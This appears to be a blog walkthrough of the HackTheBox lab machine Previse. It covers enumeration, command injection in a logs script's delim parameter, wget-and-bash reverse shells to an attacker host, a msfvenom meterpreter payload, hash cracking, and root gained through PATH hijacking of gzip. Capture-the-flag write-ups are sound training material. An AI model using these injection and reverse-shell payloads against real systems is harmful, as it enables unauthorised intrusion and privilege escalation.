HackTheBox | Previse

HackTheBox | Previse

9 months ago   •   6 min read

By 0xBEN
Table of contents

Nmap Scan

# Nmap 7.91 scan initiated Thu Aug 12 12:27:49 2021 as: nmap -T4 -p- -A -oA scan-advanced 10.10.11.104
Nmap scan report for 10.10.11.104
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=8/12%OT=22%CT=1%CU=37645%PV=Y%DS=2%DC=T%G=Y%TM=61154C2
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   12.11 ms 10.10.14.1
2   12.17 ms 10.10.11.104

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 12 12:28:18 2021 -- 1 IP address (1 host up) scanned in 29.87 seconds




Service Enumeration

HTTP

target=10.10.11.104

gobuster dir -u http://$target -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

/header.php           (Status: 200) [Size: 980]  
/nav.php              (Status: 200) [Size: 1248]  
/footer.php           (Status: 200) [Size: 217]    
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]  
/download.php         (Status: 302) [Size: 0] [--> login.php]                    
/status.php           (Status: 302) [Size: 2968] [--> login.php]                 
/login.php            (Status: 200) [Size: 2224]                                 
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]    
/logout.php           (Status: 302) [Size: 0] [--> login.php]                    
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]                 
/index.php            (Status: 302) [Size: 2801] [--> login.php]                 
/config.php           (Status: 200) [Size: 0]                                    
/logs.php             (Status: 302) [Size: 0] [--> login.php]                    
/files.php            (Status: 302) [Size: 4914] [--> login.php]

accounts.php looks interesting. Start Burp Suite, navigate to http://10.10.11.104/accounts.php and intercept the request.

<form role="form" method="post" action="accounts.php">
	<div class="uk-margin">
			<div class="uk-inline">
				<span class="uk-form-icon" uk-icon="icon: user"></span>
				<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
			</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
		</div>
	</div>
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
		</div>
	</div>
	<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>

Looks like there is a web form to create a user account. I will attempt to create a new user with the curl command and an HTTP POST request.

curl -X POST -F 'username=testuser' -F 'password=testpassword' -F 'confirm=testpassword' http://10.10.11.104/accounts.php

I am able to login using the account I created. Next, I download the backup of the site at http://10.10.11.104/files.php, as I suspect there may be some source code available for review.

There is, indeed, source code for the web page. There are cleartext credentials in config.php. I also found that logs.php does not sanitize input on the delim parameter.

exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

The logs.php script is called by the file_logs.php script.





Exploit

First, I create a simple bash reverse shell.

#!/bin/bash
bash -i >& /dev/tcp/<kali-ip>/443 0>&1

I start a listener on TCP 443. Then, I open Burp Suite and navigate to http://10.10.11.104/file_logs.php. I change the parameter in the POST body.

delim=; wget http://<kali-ip>/shell.sh; bash shell.sh

I forward the request on via Burp and catch a reverse shell.

Next, I create a meterpreter reverse shell for more versatility on the target.

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<kali-ip> LPORT=444 -f elf -o supershell

Then, I start msfconsole and run multi/handler.

use exploit/multi/handler
set LPORT 444
set LHOST tun0
set payload linux/x64/meterpreter_reverse_tcp
run

I run a Python web server and grab the meterpreter reverse shell payload from the target.

cd /tmp
wget http://kali-ip/supershell
chmod +x supershell
./supershell

I drop down into a system shell and try connecting to the database.

mysql -u root -p'cleartextpassword'
show databases;
use previse;
select * from accounts;

I got a username of m4lwhere and a hash from the database. I copy it locally and try cracking it with john.

john --format=md5crypt --wordlist=rockyou.txt hash
?:ilovecody112235!

I SSH into the target as the user m4lwhere and check user privileges.

sudo -l

User m4lwhere may run the following commands on previse:  
   (root) /opt/scripts/access_backup.sh

I inspect the contents of the script

#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz




Privilege Escalation

The backup script is calling gzip by its relative path name and it is being called as root. I should be able to inject a malicious gzip via the $PATH variable.

PATH=/home/m4lwhere:$PATH

I create the file /home/m4lwhere/gzip.

#!/bin/bash
bash -i >& /dev/tcp/kali-ip/53 0>&1

Make it executable and double-check that it is going to load my script by running which gzip. It is loading from /home/m4lwhere.

sudo /opt/scripts/access_backup.sh

Spread the word

Keep reading